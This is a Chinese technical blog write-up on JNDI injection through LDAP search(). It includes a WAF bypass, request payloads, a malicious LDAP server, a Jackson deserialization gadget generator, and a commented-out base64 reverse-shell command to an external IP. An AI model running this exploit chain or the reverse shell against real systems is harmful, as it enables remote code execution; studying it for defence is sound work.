从search入手的jndi注入技术学习
1341025112991831 发表于 四川 技术文章 1505浏览 · 2024-09-21 05:53

从search入手的jndi注入技术学习

前言

最近也是学到了一种新的jdni注入的方法,以前从来没有看到过,是通过search方法来jndi注入的,只能说学到了不少

思考分析

应用场景

群友给的代码

package com.example.demo.controller;

import java.util.Map;
import java.util.Properties;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class DemoController {
    @RequestMapping({"/index"})
    public String sayHello(@RequestBody Map<String, Object> bean) throws Exception {
        Properties properties = new Properties();
        String ip = (String) bean.get("ip");
        Integer port = (Integer) bean.get("port");
        if (ip.matches("^[0-9.]+$")) {
            String url = "ldap://" + ip + ":" + port;
            properties.setProperty("java.naming.provider.url", url);
            properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
            String searchBase = (String) bean.get("searchBase");
            String filter = (String) bean.get("filter");
            if (searchBase != null && filter != null) {
                new InitialDirContext(properties).search(searchBase, filter, (SearchControls) null);
                return "index";
            }
            return "index";
        }
        return "index";
    }
}

不过还有一个waf

public ServletInputStream getInputStream() throws IOException {
    if (!new String(this.requestBody).matches("^[{}0-9a-zA-Z\"\\\\:,.]*$")) {
        return null;
    }
    final ByteArrayInputStream bais = new ByteArrayInputStream(this.requestBody);
    return new ServletInputStream() { // from class: com.example.demo.controller.RequestWrapper.1
        public boolean isFinished() {
            return false;
        }

        public boolean isReady() {
            return false;
        }

        public void setReadListener(ReadListener readListener) {
        }

        public int read() {
            return bais.read();
        }
    };

简单来说就是不能有a/b或者a=b这种对象存在

不过需要=号的话,这里输入的是json格式的代码,而json格式支持uniocde编码

我这里主要是为了学习search,直接把waf删掉了

初步分析

可以看到的是入口点其实根本看不到,如果你不知道serach可以jndi注入的话

然后有可以控制的一些参数,比如我们的端口,ip

这里先学习一手每个参数是什么意思1. searchBase

searchBase 参数指定了 LDAP 查找的起始位置。在 LDAP 目录中,数据是以树状结构存储的,称为目录信息树(DIT)。searchBase 定义了从哪个节点开始搜索。

  • 用法:在执行 LDAP 查询或搜索时,searchBase 为搜索提供了起点。例如,如果一个 LDAP 目录树的结构如下:
dc=example,dc=com  
├── ou=users  
│   ├── cn=john  
│   └── cn=jane  
└── ou=groups

如果 searchBase 设置为 ou=users,dc=example,dc=com,那么 LDAP 查询将只在 users 组织单位下进行,限制了搜索的范围。

  • 重要性:提供了搜索的上下文,使得查询更加高效和切合实际,避免在整个目录中进行查找。

    filter

filter 参数用于定义搜索条件,确定哪些条目符合搜索要求。LDAP 目录中的每个条目都是一组键值对(属性),filter 允许通过这些属性来指定筛选条件。

  • 示例:常见的 filter 表达式如下:
    • (&(objectClass=user)(sAMAccountName=jdoe)):查找所有 objectClassusersAMAccountName 属性匹配 jdoe 的条目。
    • (cn=*):查找 cn 属性存在的所有条目。
  • 逻辑操作符:LDAP filter 支持多种逻辑操作符:
    • &:与(AND),若所有条件满足则返回结果。
    • |:或(OR),只要任一条件满足即可返回结果。
    • !:非(NOT),反转条件。
  • 重要性:合理的 filter 可保证返回的结果集是相关的,避免不必要的数据处理,提高查询效率。

这些参数大概是ldap服务查找的时候用来使用的参数

这里也很容易想到是伪造一个ldap的服务去打jndi注入,然后jdk版本是8u65,所以需要我们打高版本的jndi注入

调试代码

我们选随便传入参数调试一手

POST /index HTTP/1.1
Host: 127.0.0.1:8899
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PUBLICCMS_ADMIN=1_7b8729cf-5dbc-4ddf-966e-1f7133252f49; PUBLICCMS_ANALYTICS_ID=146a7cd4-26ea-4662-83d6-2504e2f8075b
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

{"ip":"127.0.0.1","port":1389,"searchBase":"dc\u003Daaa,dc\u003Dbbb","filter":"ObjectClass\u003Daaa"}

跟着调用栈来到

search:351, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:341, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:267, InitialDirContext (javax.naming.directory)
sayHello:25, DemoController (com.example.demo.controller)
public NamingEnumeration<SearchResult> search(Name var1, String var2, SearchControls var3) throws NamingException {
    PartialCompositeDirContext var4 = this;
    Hashtable var5 = this.p_getEnvironment();
    Continuation var6 = new Continuation(var1, var5);
    Name var8 = var1;

    NamingEnumeration var7;
    try {
        for(var7 = var4.p_search(var8, var2, var3, var6); var6.isContinue(); var7 = var4.p_search(var8, var2, var3, var6)) {
            var8 = var6.getRemainingName();
            var4 = getPCDirContext(var6);
        }
    } catch (CannotProceedException var11) {
        DirContext var10 = DirectoryManager.getContinuationDirContext(var11);
        var7 = var10.search(var11.getRemainingName(), var2, var3);
    }

    return var7;
}

是在递归的目录搜索,实例化一个Continuation对象来持续搜索,和我们的cookie有异曲同工之妙

然后进入p_search方法

参数如下

protected NamingEnumeration<SearchResult> p_search(Name var1, String var2, SearchControls var3, Continuation var4) throws NamingException {
    HeadTail var5 = this.p_resolveIntermediate(var1, var4);
    NamingEnumeration var6 = null;
    switch (var5.getStatus()) {
        case 2:
            var6 = this.c_search(var5.getHead(), var2, var3, var4);
            break;
        case 3:
            var6 = this.c_search_nns(var5.getHead(), var2, var3, var4);
    }

    return var6;
}

跟进p_search方法,这里是在处理我们的参数了

protected HeadTail p_resolveIntermediate(Name var1, Continuation var2) throws NamingException {
    byte var3 = 1;
    var2.setSuccess();
    HeadTail var4 = this.p_parseComponent(var1, var2);
    Name var5 = var4.getTail();
    Name var6 = var4.getHead();
    if (var5 != null && !var5.isEmpty()) {
        Object var7;
        if (!var5.get(0).equals("")) {
            try {
                var7 = this.c_resolveIntermediate_nns(var6, var2);
                if (var7 != null) {
                    var2.setContinue(var7, var6, this, var5);
                } else if (var2.isContinue()) {
                    this.checkAndAdjustRemainingName(var2.getRemainingName());
                    var2.appendRemainingName(var5);
                }
            } catch (NamingException var11) {
                this.checkAndAdjustRemainingName(var11.getRemainingName());
                var11.appendRemainingName(var5);
                throw var11;
            }
        } else if (var5.size() == 1) {
            var3 = 3;
        } else if (!var6.isEmpty() && !this.isAllEmpty(var5)) {
            try {
                var7 = this.c_resolveIntermediate_nns(var6, var2);
                if (var7 != null) {
                    var2.setContinue(var7, var6, this, var5);
                } else if (var2.isContinue()) {
                    this.checkAndAdjustRemainingName(var2.getRemainingName());
                    var2.appendRemainingName(var5);
                }
            } catch (NamingException var9) {
                this.checkAndAdjustRemainingName(var9.getRemainingName());
                var9.appendRemainingName(var5);
                throw var9;
            }
        } else {
            Name var12 = var5.getSuffix(1);

            try {
                Object var8 = this.c_lookup_nns(var6, var2);
                if (var8 != null) {
                    var2.setContinue(var8, var6, this, var12);
                } else if (var2.isContinue()) {
                    var2.appendRemainingName(var12);
                }
            } catch (NamingException var10) {
                var10.appendRemainingName(var12);
                throw var10;
            }
        }
    } else {
        var3 = 2;
    }

    var4.setStatus(var3);
    return var4;
}

首先是p_parseComponent方法开始解析

HeadTail 对象,包含前缀和后缀。

因为这个和我们if条件判断相互关联

在c_resolveIntermediate_nns方法中

在这里就可以看到jndi的字样了,所以我们需要进入if条件的判断

但是这里解析出来

var5为空,这里寻找一下是如何解析的

逻辑是在p_parseComponent

protected HeadTail p_parseComponent(Name var1, Continuation var2) throws NamingException {
    byte var3;
    if (!var1.isEmpty() && !var1.get(0).equals("")) {
        var3 = 1;
    } else {
        var3 = 0;
    }

    Name var4;
    Name var5;
    if (var1 instanceof CompositeName) {
        var4 = var1.getPrefix(var3);
        var5 = var1.getSuffix(var3);
    } else {
        var4 = (new CompositeName()).add(var1.toString());
        var5 = null;
    }

    if (debug > 2) {
        System.err.println("ORIG: " + var1);
        System.err.println("PREFIX: " + var1);
        System.err.println("SUFFIX: " + null);
    }

    return new HeadTail(var4, var5);
}

我们的var5对应的是后缀,至于是如何分前后缀的,这里跟过去代码就很长了

可以参考,这部分逻辑

NameImpl(Properties syntax, String n) throws InvalidNameException {
    this(syntax);

    boolean rToL = (syntaxDirection == RIGHT_TO_LEFT);
    boolean compsAllEmpty = true;
    int len = n.length();

    for (int i = 0; i < len; ) {
        i = extractComp(n, i, len, components);

        String comp = rToL
            ? components.firstElement()
            : components.lastElement();
        if (comp.length() >= 1) {
            compsAllEmpty = false;
        }

        if (i < len) {
            i = skipSeparator(n, i);
            if ((i == len) && !compsAllEmpty) {
                // Trailing separator found.  Add an empty component.
                if (rToL) {
                    components.insertElementAt("", 0);
                } else {
                    components.addElement("");
                }
            }
        }
    }
}

直接说结论吧,需要写为a/b的形式

重整旗鼓

POST /index HTTP/1.1
Host: 127.0.0.1:8899
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PUBLICCMS_ADMIN=1_7b8729cf-5dbc-4ddf-966e-1f7133252f49; PUBLICCMS_ANALYTICS_ID=146a7cd4-26ea-4662-83d6-2504e2f8075b
Connection: keep-alive
Content-Type: application/json
Content-Length: 107

{"ip":"127.0.0.1","port":1389,"searchBase":"a/dc\u003Daaa,dc\u003Dbbb","filter":"ObjectClass\u003Daaa"}

再次调试分析

我们直接从lookup开始了

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    var2.setError(this, var1);
    Object var3 = null;

    Object var4;
    try {
        SearchControls var22 = new SearchControls();
        var22.setSearchScope(0);
        var22.setReturningAttributes((String[])null);
        var22.setReturningObjFlag(true);
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) {
            this.processReturnCode(var23, var1);
        }

        if (var23.entries != null && var23.entries.size() == 1) {
            LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
            var4 = var25.attributes;
            Vector var8 = var25.respCtls;
            if (var8 != null) {
                appendVector(this.respCtls, var8);
            }
        } else {
            var4 = new BasicAttributes(true);
        }

        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
            var3 = Obj.decodeObject((Attributes)var4);
        }

        if (var3 == null) {
            var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
        }
    } catch (LdapReferralException var20) {
        LdapReferralException var5 = var20;
        if (this.handleReferrals == 2) {
            throw var2.fillInException(var20);
        }

重点关注var3 = Obj.decodeObject((Attributes)var4);

我们的LDAP返回的数据就是根据decodeObject返回的,看看这里是解码的什么,传入的是我们的var4
但是要满足if

可以看到第二个是javaSerializedData值,我们必须保证这个值不为null,这个就是涉及到LADP的事了
然后进入decodeObject方法

先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流;这里var2变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码。跟进去:


可以看到反序列化用的readObject()方法了

漏洞触发

这里因为只有jackson的依赖,所以这里可以打jackson的原生链

直接使用师傅的链子

ldap恶意服务

package com.example.demo;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class LDAPServer2 {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }

        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CTF\\R3CTF\\output.txt")))).readLine()));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);

        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}

poc

package com.example.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class Evil {
    public  static void main(String[] args) throws Exception {
        CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        String result=serializes(exp);
        StringToFile(result);

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    } static String serializes(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void StringToFile(String data) throws IOException {
        try (FileWriter writer = new FileWriter("output.txt")) {
            writer.write(data);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

1 条评论
某人
表情
可输入 255